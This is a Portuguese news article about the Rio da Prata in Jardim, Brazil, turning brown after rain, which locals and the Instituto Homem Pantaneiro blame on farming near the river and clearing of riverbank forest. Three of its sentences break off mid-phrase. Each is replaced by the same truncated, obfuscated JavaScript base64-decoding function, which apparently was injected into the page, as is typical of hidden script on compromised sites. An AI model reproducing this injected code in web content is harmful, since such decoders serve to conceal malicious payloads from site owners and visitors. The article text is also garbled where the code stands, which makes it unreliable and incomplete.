Cor de lama, Rio da Prata expõe reflexo da exploração comercial
[Via Campo Grande News]
Um dos motivos de orgulho do sul-mato-grossense é espalhar por aí que são ‘nossas’ as águas cristalinas capazes de encantar gente do mundo todo. Em Jardim, a 233 km de Campo Grande, o Rio da Prata é um destes cenários espetaculares que, de alguns anos para cá, tem mudado a ‘cara’ toda vez que a chuva, tão comum neste período, cai naquela região.
As imagens, registradas pelos donos do Seu Assis Camping e Balneário, que fica a 35 km da área urbana de Jardim, mostram a maneira que o rio ficou após a forte chuva da sexta-feira (dia 16). O vídeo [disponível abaixo] mostra a água barrenta que caiu no local.
Longe da transparência vista diariamente, a água está marrom da terra que a precipitação trouxe. “Ver o rio nesse estado dá vontade de chorar”, diz Diego Scherer Luciano, um dos donos e que trabalham diariamente no balneário.
Ele comenta sobre as lavouras em torno da região e que a atividade, ao longo do function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
A cidade fica bem perto de outras duas tão belas pelas águas cristalinas quanto. Bodoquena e function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
“Toda vez que chove fica assim, mas não desse jeito, de uns tempos para cá piorou. É a atividade perto do rio [que prejudica]. Tem maneiras de se fazer para não deixar a terra vermelha, esse barro, cair para dentro da água”.
Hoje, o balneário está aberto para visitação e banho, contudo, o dono afirma que muitos turistas chegam perto da água e logo se afastam. Para que a água torne a ser cristalina novamente leva pelo menos uma semana.
Ajuda
“Não podemos colocar em risco o mais importante cenário do Estado, se não do País”. A fala é do coronel reformado Ângelo Rabelo, que hoje atua no Instituto Homem Pantaneiro. Para ele, há diversos fatores que prejudicam as águas, desde a manutenção das estradas vicinais que cruza o Prata. “Nós também temos o problema do banhado, que está na Justiça. Estamos brigando para quer o banhado seja transformado em uma área protegida”.
Outra busca é sobre a aplicação da lei estadual de autoria do deputado Paulo Corrêa (PSDB). A legislação já foi aprovada e o problema é que até agora não foi regulamentada, portanto, não pode ser cobrada pelas autoridades.
Na prática, a medida eleva a distância mínima de qualquer empreendimento perto dos rios do Estado. “Sem isso, não conseguimos cobrar”, lamenta. O Instituto Homem Pantaneiro também trabalha por um pacto, prestes a ser assinado, que prevê anuência dos proprietários rurais e donos de atrativos.
“Ficou aprovado que o que nos une é água e quais serão as iniciativas para proteção delas. É possível conviver [crescimento e meio ambiente], mas precisamos de regras. Todos perdem”. O coronel falou também sobre function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
A partir de agora, o Instituto Homem Pantaneiro vai visitar algumas propriedades rurais daquela região. Há informações de que algumas fazendas retiraram parte da mata ciliar para o gado poder beber água. “E neste período, o histórico de chuva é crítico, aumentou muito. Isso obriga a manter a mata e ampliar a manutenção”.